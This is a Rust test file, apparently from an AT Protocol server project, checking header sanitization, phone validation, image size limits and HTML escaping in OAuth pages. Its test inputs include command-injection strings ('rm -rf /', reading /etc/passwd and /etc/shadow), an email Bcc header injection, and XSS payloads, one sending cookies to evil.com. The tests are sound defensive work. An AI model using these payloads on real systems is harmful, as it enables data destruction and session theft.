this repo has no description
1mod common; 2use bspds::image::{ImageError, ImageProcessor}; 3use bspds::comms::{SendError, is_valid_phone_number, sanitize_header_value}; 4use bspds::oauth::templates::{error_page, login_page, success_page}; 5 6#[test] 7fn test_header_injection_sanitization() { 8 let malicious = "Injected\r\nBcc: attacker@evil.com"; 9 let sanitized = sanitize_header_value(malicious); 10 assert!(!sanitized.contains('\r') && !sanitized.contains('\n')); 11 assert!(sanitized.contains("Injected") && sanitized.contains("Bcc:")); 12 13 let normal = "Normal Subject Line"; 14 assert_eq!(sanitize_header_value(normal), "Normal Subject Line"); 15 16 let padded = " Subject "; 17 assert_eq!(sanitize_header_value(padded), "Subject"); 18 19 let multi_newline = "Line1\r\nLine2\nLine3\rLine4"; 20 let sanitized = sanitize_header_value(multi_newline); 21 assert!(!sanitized.contains('\r') && !sanitized.contains('\n')); 22 assert!(sanitized.contains("Line1") && sanitized.contains("Line4")); 23 24 let header_injection = "Normal Subject\r\nBcc: attacker@evil.com\r\nX-Injected: value"; 25 let sanitized = sanitize_header_value(header_injection); 26 assert_eq!(sanitized.split("\r\n").count(), 1); 27 assert!(sanitized.contains("Normal Subject") && sanitized.contains("Bcc:") && sanitized.contains("X-Injected:")); 28 29 let with_null = "client\0id"; 30 assert!(sanitize_header_value(with_null).contains("client")); 31 32 let long_input = "x".repeat(10000); 33 assert!(!sanitize_header_value(&long_input).is_empty()); 34} 35 36#[test] 37fn test_phone_number_validation() { 38 assert!(is_valid_phone_number("+1234567890")); 39 assert!(is_valid_phone_number("+12025551234")); 40 assert!(is_valid_phone_number("+442071234567")); 41 assert!(is_valid_phone_number("+4915123456789")); 42 assert!(is_valid_phone_number("+1")); 43 44 assert!(!is_valid_phone_number("1234567890")); 45 assert!(!is_valid_phone_number("12025551234")); 46 assert!(!is_valid_phone_number("")); 47 assert!(!is_valid_phone_number("+")); 48 assert!(!is_valid_phone_number("+12345678901234567890123")); 49 50 assert!(!is_valid_phone_number("+abc123")); 51 assert!(!is_valid_phone_number("+1234abc")); 52 assert!(!is_valid_phone_number("+a")); 53 54 assert!(!is_valid_phone_number("+1234 5678")); 55 assert!(!is_valid_phone_number("+ 1234567890")); 56 assert!(!is_valid_phone_number("+1 ")); 57 58 assert!(!is_valid_phone_number("+123-456-7890")); 59 assert!(!is_valid_phone_number("+1(234)567890")); 60 assert!(!is_valid_phone_number("+1.234.567.890")); 61 62 for malicious in ["+123; rm -rf /", "+123 && cat /etc/passwd", "+123`id`", 63 "+123$(whoami)", "+123|cat /etc/shadow", "+123\n--help", 64 "+123\r\n--version", "+123--help"] { 65 assert!(!is_valid_phone_number(malicious), "Command injection '{}' should be rejected", malicious); 66 } 67} 68 69#[test] 70fn test_image_file_size_limits() { 71 let processor = ImageProcessor::new(); 72 let oversized_data: Vec<u8> = vec![0u8; 11 * 1024 * 1024]; 73 let result = processor.process(&oversized_data, "image/jpeg"); 74 match result { 75 Err(ImageError::FileTooLarge { .. }) => {} 76 Err(other) => { 77 let msg = format!("{:?}", other); 78 if !msg.to_lowercase().contains("size") && !msg.to_lowercase().contains("large") { 79 panic!("Expected FileTooLarge error, got: {:?}", other); 80 } 81 } 82 Ok(_) => panic!("Should reject files over size limit"), 83 } 84 85 let processor = ImageProcessor::new().with_max_file_size(1024); 86 let data: Vec<u8> = vec![0u8; 2048]; 87 assert!(processor.process(&data, "image/jpeg").is_err()); 88} 89 90#[test] 91fn test_oauth_template_xss_protection() { 92 let html = login_page("<script>alert('xss')</script>", None, None, "test-uri", None, None); 93 assert!(!html.contains("<script>") && html.contains("&lt;script&gt;")); 94 95 let html = login_page("client123", Some("<img src=x onerror=alert('xss')>"), None, "test-uri", None, None); 96 assert!(!html.contains("<img ") && html.contains("&lt;img")); 97 98 let html = login_page("client123", None, Some("\"><script>alert('xss')</script>"), "test-uri", None, None); 99 assert!(!html.contains("<script>")); 100 101 let html = login_page("client123", None, None, "test-uri", 102 Some("<script>document.location='http://evil.com?c='+document.cookie</script>"), None); 103 assert!(!html.contains("<script>")); 104 105 let html = login_page("client123", None, None, "test-uri", None, 106 Some("\" onfocus=\"alert('xss')\" autofocus=\"")); 107 assert!(!html.contains("onfocus=\"alert") && html.contains("&quot;")); 108 109 let html = login_page("client123", None, None, "\" onmouseover=\"alert('xss')\"", None, None); 110 assert!(!html.contains("onmouseover=\"alert")); 111 112 let html = error_page("<script>steal()</script>", Some("<img src=x onerror=evil()>")); 113 assert!(!html.contains("<script>") && !html.contains("<img ")); 114 115 let html = success_page(Some("<script>steal_session()</script>")); 116 assert!(!html.contains("<script>")); 117 118 for (page, name) in [ 119 (login_page("client", None, None, "uri", None, None), "login"), 120 (error_page("err", None), "error"), 121 (success_page(None), "success"), 122 ] { 123 assert!(!page.contains("javascript:"), "{} page has javascript: URL", name); 124 } 125 126 let html = login_page("client123", None, None, "javascript:alert('xss')//", None, None); 127 assert!(html.contains("action=\"/oauth/authorize\"")); 128} 129 130#[test] 131fn test_oauth_template_html_escaping() { 132 let html = login_page("client&test", None, None, "test-uri", None, None); 133 assert!(html.contains("&amp;") && !html.contains("client&test")); 134 135 let html = login_page("client\"test'more", None, None, "test-uri", None, None); 136 assert!(html.contains("&quot;") || html.contains("&#34;")); 137 assert!(html.contains("&#39;") || html.contains("&apos;")); 138 139 let html = login_page("client<test>more", None, None, "test-uri", None, None); 140 assert!(html.contains("&lt;") && html.contains("&gt;") && !html.contains("<test>")); 141 142 let html = login_page("my-safe-client", Some("My Safe App"), Some("read write"), 143 "valid-uri", None, Some("user@example.com")); 144 assert!(html.contains("my-safe-client") || html.contains("My Safe App")); 145 assert!(html.contains("read write") || html.contains("read")); 146 assert!(html.contains("user@example.com")); 147 148 let html = login_page("client", None, None, "\" onclick=\"alert('csrf')", None, None); 149 assert!(!html.contains("onclick=\"alert")); 150 151 let html = login_page("客户端 クライアント", None, None, "test-uri", None, None); 152 assert!(html.contains("客户端") || html.contains("&#")); 153} 154 155#[test] 156fn test_send_error_display() { 157 let timeout = SendError::Timeout; 158 assert!(!format!("{}", timeout).is_empty()); 159 assert!(format!("{}", timeout).to_lowercase().contains("timeout")); 160 161 let max_retries = SendError::MaxRetriesExceeded("Server returned 503".to_string()); 162 let msg = format!("{}", max_retries); 163 assert!(!msg.is_empty()); 164 assert!(msg.contains("503") || msg.contains("retries")); 165 166 let invalid = SendError::InvalidRecipient("bad recipient".to_string()); 167 assert!(!format!("{}", invalid).is_empty()); 168} 169 170#[tokio::test] 171async fn test_signup_queue_authentication() { 172 use common::{base_url, client, create_account_and_login}; 173 let base = base_url().await; 174 let http_client = client(); 175 176 let res = http_client.get(format!("{}/xrpc/com.atproto.temp.checkSignupQueue", base)) 177 .send().await.unwrap(); 178 assert_eq!(res.status(), reqwest::StatusCode::OK); 179 let body: serde_json::Value = res.json().await.unwrap(); 180 assert_eq!(body["activated"], true); 181 182 let (token, _did) = create_account_and_login(&http_client).await; 183 let res = http_client.get(format!("{}/xrpc/com.atproto.temp.checkSignupQueue", base)) 184 .header("Authorization", format!("Bearer {}", token)) 185 .send().await.unwrap(); 186 assert_eq!(res.status(), reqwest::StatusCode::OK); 187 let body: serde_json::Value = res.json().await.unwrap(); 188 assert_eq!(body["activated"], true); 189}